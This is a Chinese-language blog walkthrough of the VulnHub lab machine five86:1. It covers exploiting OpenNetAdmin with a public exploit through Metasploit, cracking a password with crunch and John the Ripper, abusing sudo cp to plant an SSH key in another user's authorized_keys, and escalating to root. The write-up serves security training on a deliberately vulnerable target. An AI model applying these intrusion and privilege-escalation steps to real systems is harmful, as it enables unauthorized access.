中级篇丨从0到1靶机实战系列之five86:1

什么是靶机

学习网安攻防技术一定离不开靶机的练习。在网络安全中,靶机是指一个存在漏洞的系统,互联网上所有的网站(系统)都可以说是“靶机”,但是不能直接对未授权的网站(系统)进行测试。于是就出现了靶机,i春秋(https://www.ichunqiu.com/)平台也有很多关于靶场学习的课程,欢迎大家前来练习。

 

 

今天i春秋分享的是从0到1靶机实战系列之five86:1,本次实验的靶机来自vulnhub,名称为five86:1,难度在中等偏上,适用于企业中从事安全研究人员对kali以及Linux ssh无验证登录等利用的熟悉程度。

注:i 春秋公众号旨在为大家提供更多的学习方法与技能技巧,文章仅供学习参考。

 

 

首先把靶机文件导入到虚拟机中,网络模式设置为NAT,然后使用netdiscover找到靶机的IP。

 

 

当然使用nmap也是可以的。

Nmap -A 192.***/24

可以发现该网段下所有主机和一些基本的信息:

 

开放了三个端口,分别是22,80和1000(这个1000端口下其实没啥有用的东西,差不多是个幌子)

我们还是访问一下80端口,看看有什么:

 

直接访问的话首页是空的,查看源代码也看不到任何内容,不过我们刚才用nmap扫这个IP的时候,看到根目录下其实是有一个robots.txt文件的,访问后得到一个目录ona。

 

这里可以看出搭建了一个opennetadmin服务,提示我们是guest账户登陆。

 

知道了搭建的服务名称,那么我们可以到exploit-db找一下看看有没有相关已公开的exp。

从exploit-db搜索到了两个可用的exp,一个是metasploit版本的rb文件,另一个是Linux脚本文件。

 

这两个都是可以使用的,这里我分别列出两种简单的使用方法。

 

Linux shell 版

首先从exploit-db上复制这个rb文件到本地并保存为exp.sh(名字随意,只要没有中文就行),然后使用chmod +x exp.sh或chmod 755 exp.sh设置权限。

 

接着运行./exp.sh http://192.168.26.146/ona 得到shell。

 

metasploit版

kali中内置了一个用于查找exp的工具searchsploit,使用searchsploit opennetadmin搜索到三个可用exp。

 

这里需要注意的是,不清楚什么原因,搜索到的.sh文件并不能够直接运行,会报错,只能复制内容到新文件才可以。从搜索结果可以看到exp的文件路径,在metasploit的exploits文件夹下新建一个文件夹opennetadmin,然后使用:

cp /usr/share/exploitdb/exploits/php/webapps/47772.rb -r /usr/share/metasploit-framework/modules/exploits/opennetadmin/exp.rb

把exp复制到metasploit下,因为metasploit本身没有内置这个exp,所以我们只能使用这种方式把exp添加到metasploit的库中。

 

接下来启动msfconsole

search opennetadmin搜索我们刚创建的exp文件夹

 

使用use /exploits/opennetadmin/exp应用该实例,show options查看一下需要设置的参数。

 

我们只需要设置目标IP rhost以及本地IP lhost即可。

set rhost 192.168.26.146Set lhost 192.168.26.138 (kali的IP)

 

Run开启exp即可成功建立一个session。

 

shell进入,看一下id为www-data。

 

然后搜索一下有哪些文件是当前账户可以查看到的。

find / -type f -user www-data

 

从搜索结果中看到我们对var/www/html/reports/.htaccess是有权限的,cat查看一下文件内容。

 

从.htaccess文件得到另一个文件地址。

这里是一个提示,给出了一个用户名Douglas和一个加密后的密码,而且密码是由aefhrt组成的十位字符串。

 

我们可以使用kali中的crunch工具先生成一个密码字典。

crunch 10 10 aefhrt > password.txt

password.txt中就是由aefhrt组成的全部十位字符串。

 

然后使用John the ripper(jtr)这款工具进行比对测试用户密码。

john —wordlist=password.txt hash.txt

几分钟后我们得到了Douglas的密码fatherrrrr。

 

有了账号密码,我的第一反应是ssh,试了一下,成功登录douglas。

 

Sudo -l 看一下当前账号的权限,发现对jen这个用户我们只能使用cp也就是复制功能,对于jen这个用户的文件我们没有任何读的权限,但是请注意,这里我发现jen其实是允许无密码登录的,也就是说我们可以使用ssh密钥直接登录到这个账号。

 

但是jen目录下没有.ssh这个文件夹,也没有密钥文件,所以我们需要重新生成并把密钥文件复制到jen用户目录下,而且jen用户对Douglas这个用户文件没有操作权限,所以不能直接复制Douglas的ssh文件,需要把它放到二者都有权限的/tmp临时目录中去。

ssh-keygen -b 2048生成一个ssh密钥

 

cp .ssh/id_rsa.pub /tmp/authorized_keys

切到tmp文件夹,把文件复制到jen/下

sudo -u jen /bin/cp authorized_keys /home/jen/.ssh/

到这里基本上Douglas的任务就完成啦

我们连接到Jen

 

刚进来就提示我们有一封新邮件,mail查看一下邮件内容。

 

这里其实提示的很明显了,就是说moss这个用户的密码被修改为Fire!Fire!了,那我们就直接登录moss。

 

进入到moss账户,ls -la一下发现个隐藏文件夹game。

 

进入后运行upyourgame脚本

 

看下ID确实是root权限,然后直奔/root/flag.txg,完成挑战!

 

总的来说这个靶机还是有一定难度的,尤其是提权那一块,后来跟作者请教了一下,提示“不要想着从jen里获取到东西,要想办法把东西扔到jen文件夹里”这才茅塞顿开,顺利解开题目,非常不错的靶机。

posted @ 2020-02-27 15:50  i春秋  阅读(1008)  评论(0编辑  收藏  举报